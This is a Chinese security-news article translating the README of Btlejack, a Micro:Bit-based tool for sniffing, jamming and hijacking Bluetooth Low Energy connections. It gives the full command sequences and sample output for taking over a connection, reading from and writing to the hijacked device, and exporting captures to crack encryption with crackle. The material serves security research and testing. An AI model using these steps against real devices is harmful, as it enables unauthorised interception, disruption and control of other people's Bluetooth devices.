Btlejack:操作低功耗蓝牙设备的百宝工具箱

2019 年 10 月 10 日 FreeBuf

Btlejack可以为你提供嗅探、干扰和劫持低功耗蓝牙设备所需的一切。它依赖于一个或多个BBC Micro:Bit。运行专用固件的设备。你可能还想使用Adafruit的Bluefruit LE嗅探器或nRF51822评估套件,我们增加了对这些设备的支持。

该工具的当前版本(2.0)支持BLE 4.x和5.x。但对BLE5.x的支持有限,因为它仅支持1Mbps未编码PHY模式,并且不支持channel map的更新。

环境要求

你需要一个基于UNIX的系统(例如Raspberry Pi)。如果你使用BBC Micro:Bit,则需要一到三个Micro:Bit设备(建议使用三个),并且每个设备都有一个空闲的USB端口。Micro:Bit的功耗相当低,因此你可以使用单个USB端口和无源集线器为推荐的三个单元供电。

如果你在电脑上同时连接3个microbits,Btlejack将能够嗅到每个advertising channel,并且有更多机会捕获连接请求。

安装

首先,使用Pip安装btlejack Python3客户端软件:

$ sudo pip3 install btlejack
 
   

然后,使用USB线将Micro:Bit设备连接到计算机,安装相关的大容量存储设备(挂载点必须包含MICROBIT),并执行以下命令:

$ btlejack -i
 
   

这将对连接到你计算机的各个Micro:Bit设备进行编程,让它们可以同Btlejack一起使用。它将使用当前客户端软件的正确固件版本,因此强烈建议你在每次更新Btlejack时,执行此固件安装过程。

如果你使用的是Bluefruit LE嗅探器或nRF51822评估套件,请使用外部SWD programmer使用此固件flash你的设备。

让你的设备保持连接状态!

注意:这仅适用于与posix兼容的系统。

使用

Btlejack可以:

使用各种设备

嗅探现有的BLE连接

嗅探新的BLE连接

干扰现有的BLE连接

劫持现有的BLE连接

将捕获的数据包导出为各种PCAP格式

指定要使用的设备

Btlejack通常会尝试自动检测并使用连接的兼容设备(目前仅为Micro:Bit),但由于固件可以被黑客攻击或修改以与其他基于nRF51822的主板配合使用,因此它提供了允许与这些设备兼容的特定选项。

-d选项允许你使用Btlejack指定一个或多个设备。请注意,该选项将禁用设备的自动检测,你应该根据自身需要添加任意数量的设备:

$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s

嗅探现有连接

首先,使用btlejack查找到目标的现有连接:

$ btlejack -sBtleJack version 1.1[i] Enumerating existing connections ...[ - 54 dBm] 0xcd91d517 | pkts: 1[ - 46 dBm] 0xcd91d517 | pkts: 2
 
   

第一个值(以dBm为单位)表示信号的功率,该值越大,嗅探连接就越好。

第二个值(hex十六进制)是关联的访问地址,一个32位值,用于标识两个蓝牙低功耗兼容设备之间的链接。

最后一个值是使用此访问地址看到的数据包数。该值越高,使用相应访问地址的可能性就越大。

然后,使用-f选项跟踪特定连接:

$ btlejack -f 0xdda4845eBtleJack version 1.1[i] Detected sniffers: > Sniffer #0: fw version 1.1[i] Synchronizing with connection 0xdda4845e ...✓ CRCInit: 0x2a035e✓ Channel Map = 0x1fffffffff✓ Hop interval = 39✓ Hop increment = 15[i] Synchronized, packet capture in progress ...LL Data: 02 07 03 00 04 00 0a 03 00LL Data: 0a 08 04 00 04 00 0b 5a 69 70LL Data: 02 07 03 00 04 00 0a 03 00LL Data: 0a 08 04 00 04 00 0b 5a 69 70
 
   

如果你使用超过1个microbit,Btlejack将并行化一些嗅探操作,以加快连接参数的恢复!

对新连接的嗅探

btlejack支持的-c选项允许你指定目标BD地址,或者你也可以使用any来捕获创建的任何新连接。

$ btlejack -c anyBtleJack version 1.1[i] Detected sniffers: > Sniffer #0: version 1.1 > Sniffer #1: version 1.1LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b[i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 msLL Data: 03 09 08 0f 00 00 00 00 00 00 00LL Data: 03 09 08 0f 00 00 00 00 00 00 00LL Data: 0b 06 0c 08 0f 00 09 41LL Data: 03 06 0c 07 1d 00 d3 07
 
   

或者你可能还想指定目标BD地址:

$ btlejack -c 03:e1:f0:00:11:22

干扰连接

一旦通过其访问地址标识了连接,就可以使用-j选项对其进行干扰:

$ btlejack -f 0x129f3244 -j̀

劫持 BLE 连接

你也可以使用-t选项来劫持现有连接。一旦被劫持,Btlejack会给你一个提示,允许你与被劫持的设备进行交互。

首先,劫持现有连接:

$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffffBtleJack version 1.1[i] Using cached parameters (created on 2018-08-11 01:48:24)[i] Detected sniffers: > Sniffer #0: fw version 1.1[i] Synchronizing with connection 0x9c68fd30 ...✓ CRCInit: 0x81f733✓ Channel map is provided: 0x1fffffffff✓ Hop interval = 39✓ Hop increment = 9[i] Synchronized, hijacking in progress ...[i] Connection successfully hijacked, it is all yours \o/btlejack>
 
   

然后使用以下命令与设备交互:- discover:执行services 和 characteristics枚举,将为你提供有关服务和特征的所有信息- write:将数据写入特定值句柄- read:从特定值句柄读取数据- ll:发送原始链路层数据包(用于ninjas)

discover 命令

discover命令将发送和接收蓝牙LE数据包,并检索所有服务UUID和参数,以及特征UUID和参数:

btlejack> discoverstart: 0001 end: 0005start: 0014 end: 001astart: 0028 end: ffff Discovered services:Service UUID: 1801 Characteristic UUID: 2a05   | handle: 0002   | properties: indicate  (20)   \ value handle: 0003Service UUID: 1800 Characteristic UUID: 2a04   | handle: 0019   | properties: read  (02)   \ value handle: 001a Characteristic UUID: 2a00   | handle: 0015   | properties: read  (02)   \ value handle: 0016 Characteristic UUID: 2a01   | handle: 0017   | properties: read  (02)   \ value handle: 0018Service UUID: 1824 Characteristic UUID: 2abc   | handle: 0029   | properties: write indicate  (28)   \ value handle: 002a

read 命令

read命令接受单个参数,即与要从中读取的特征对应的值句柄:

btlejack> read 0x16read>> 4c 47 20 77 65 62 4f 53 20 54 56

write 命令

write命令接受三个参数:

btlejack> write <value handle> <data format> <data>

支持的数据格式:

hex:十六进制数据(即“414261”)

str:文本字符串,可以用双引号括起来

ll 命令

最后一个命令允许你以十六进制形式发送蓝牙低功耗链路层PDU,如第6卷第B部分第2.4章中所述。

PCAP 文件导出

Btlejack的一个有趣特性是可以将捕获的数据导出到PCAP文件。

Btlejack支持以下DLT格式:

DLT_BLUETOOTH_LE_LL_WITH_PHDR

DLT_NORDIC_BLE

DLT_BLUETOOTH_LE_LL

可以使用-o选项指定输出文件,而输出格式可以使用-x选项指定。有效格式值为:ll_phdr, nordic, 或 pcap(默认值)。

$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
 
   

ll_phdr导出类型在嗅探加密连接时非常有用,因为它也受到crackle的支持。因此,如果你想嗅探并断开加密的连接,这是一个很好的选择。

你可能还需要使用-s选项告诉crackle使用特定的破解策略:

$ crackle -i some.pcap -s 1

连接缓存

Btlejack使用连接缓存来存储一些与连接相关的值,以提升速度。此连接缓存可能会导致一些问题,尤其是在已看到访问地址的情况下。

可以使用-z选项刷新此缓存:

$ btlejack -z

使用 Wireshark 转储实时数据包

Btlejack 2.0引入了一个新的-w选项,允许你指定FIFO路径(存在或不存在)以执行数据包的实时分析:

$ btlejack -c any -w /tmp/blepipe

你甚至可以同时使用FIFO和输出文件:

$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap

Raspberry Pi 上使用 btlejack 提示

如果你之前已通过USB启用虚拟以太网(RNDIS),例如要通过USB设置Raspberry Pi Zero W,则需要再次禁用它(即从boot/config.txt中删除dtoverlay=dwc2,以及从boot/cmdline.txt中删除modules-load=dwc2,g_ether,然后重启sudo),否则会干扰嗅探器的USB连接。

Bluetooth LE 5 & 5.1 支持

此版本支持蓝牙低功耗版本5和5.1,尤其是版本5(CSA #2)中引入的新信道选择算法。但是,由于使用的硬件不支持从版本5添加的两个新PHY,因此它只能使用1Mbps未编码PHY模式来嗅探,干扰和劫持连接。

另外请注意,Btlejack中包含的CSA #2的当前实现暂不支持channel map更新。

嗅探新的 BLE 5 连接

Btlejack会自动检测所使用的信道选择算法,因此你不必担心,只需像往常一样捕获数据包。

嗅探现有的 BLE 5 连接

嗅探现有的BLE 5连接(使用1Mbps未编码PHY模式,仅此PHY)并不是那么困难。首先,你必须使用-5选项指定要BLE 5连接目标。注意,无法判断现有连接是否使用CSA #2 或 CSA #1,因此你必须尝试这两种技术,直到其中一种方法起作用。

$ btlejack -f 0x11223344 -5
 
   

然后,Btlejack将恢复使用的channel map及跃点间隔值:

$ btlejack -f 0x11223344 -5[i] Synchronizing with connection 0x11223344 ...✓ CRCInit: 0x40d64f✓ Channel Map = 0x1fffffffff✓ Hop interval = 160
 
   

然后它会尝试恢复此连接的PRNG计数器值:

$ btlejack -f 0x11223344 -5[i] Synchronizing with connection 0x11223344 ...✓ CRCInit: 0x40d64f✓ Channel Map = 0x1fffffffff✓ Hop interval = 160✓ CSA2 PRNG counter = 5137[i] Synchronized, packet capture in progress ...
 
   

完成后,Btlejack将与此连接同步并处理数据包。

干扰现有的 BLE 5 连接

这里没有什么新的东西,除了你必须使用-5选项指定攻击的BLE 5连接。

注意,你可以通过分别使用-m和-p标志来指定要使用的channel map和跃点间隔值来优化此攻击。两者必须同时提供,除非它们不起作用。

劫持现有的 BLE 5 连接

此时我没有设法劫持BLE 5连接,因为此攻击具有时效性。我的BLE 5设备使用0延迟,因此不会延迟并导致此攻击失败。

当我获取到一些合法的BLE 5设备时,我会改进这一点。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

精彩推荐


登录查看更多
1

相关内容

MICRO:IEEE/ACM International Symposium on Microarchitecture Explanation:IEEE/ACM微体系结构国际研讨会。 Publisher:IEEE/ACM。 SIT:https://dblp.uni-trier.de/db/conf/micro/
专知会员服务
31+阅读 · 2020年4月24日
【ICMR2020】持续健康状态接口事件检索
专知会员服务
17+阅读 · 2020年4月18日
和积网络综述论文,Sum-product networks: A survey,24页pdf
专知会员服务
23+阅读 · 2020年4月3日
深度神经网络实时物联网图像处理,241页pdf
专知会员服务
76+阅读 · 2020年3月15日
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
69+阅读 · 2020年1月17日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
87+阅读 · 2019年11月25日
深度神经网络模型压缩与加速综述
专知会员服务
128+阅读 · 2019年10月12日
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
ZigBee 网络安全攻防
计算机与网络安全
14+阅读 · 2019年4月15日
Kong 1.1 带来声明式配置与无数据库部署模式
开源中国
8+阅读 · 2019年3月28日
硬件加速神经网络综述
计算机研究与发展
26+阅读 · 2019年2月1日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
入门 | 深度学习模型的简单优化技巧
机器之心
9+阅读 · 2018年6月10日
Caffe 深度学习框架上手教程
黑龙江大学自然语言处理实验室
14+阅读 · 2016年6月12日
Heterogeneous Graph Transformer
Arxiv
27+阅读 · 2020年3月3日
Arxiv
6+阅读 · 2019年4月8日
Arxiv
6+阅读 · 2018年10月3日
Arxiv
5+阅读 · 2018年5月1日
VIP会员
相关VIP内容
专知会员服务
31+阅读 · 2020年4月24日
【ICMR2020】持续健康状态接口事件检索
专知会员服务
17+阅读 · 2020年4月18日
和积网络综述论文,Sum-product networks: A survey,24页pdf
专知会员服务
23+阅读 · 2020年4月3日
深度神经网络实时物联网图像处理,241页pdf
专知会员服务
76+阅读 · 2020年3月15日
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
69+阅读 · 2020年1月17日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
87+阅读 · 2019年11月25日
深度神经网络模型压缩与加速综述
专知会员服务
128+阅读 · 2019年10月12日
相关资讯
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
ZigBee 网络安全攻防
计算机与网络安全
14+阅读 · 2019年4月15日
Kong 1.1 带来声明式配置与无数据库部署模式
开源中国
8+阅读 · 2019年3月28日
硬件加速神经网络综述
计算机研究与发展
26+阅读 · 2019年2月1日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
入门 | 深度学习模型的简单优化技巧
机器之心
9+阅读 · 2018年6月10日
Caffe 深度学习框架上手教程
黑龙江大学自然语言处理实验室
14+阅读 · 2016年6月12日
Top
微信扫码咨询专知VIP会员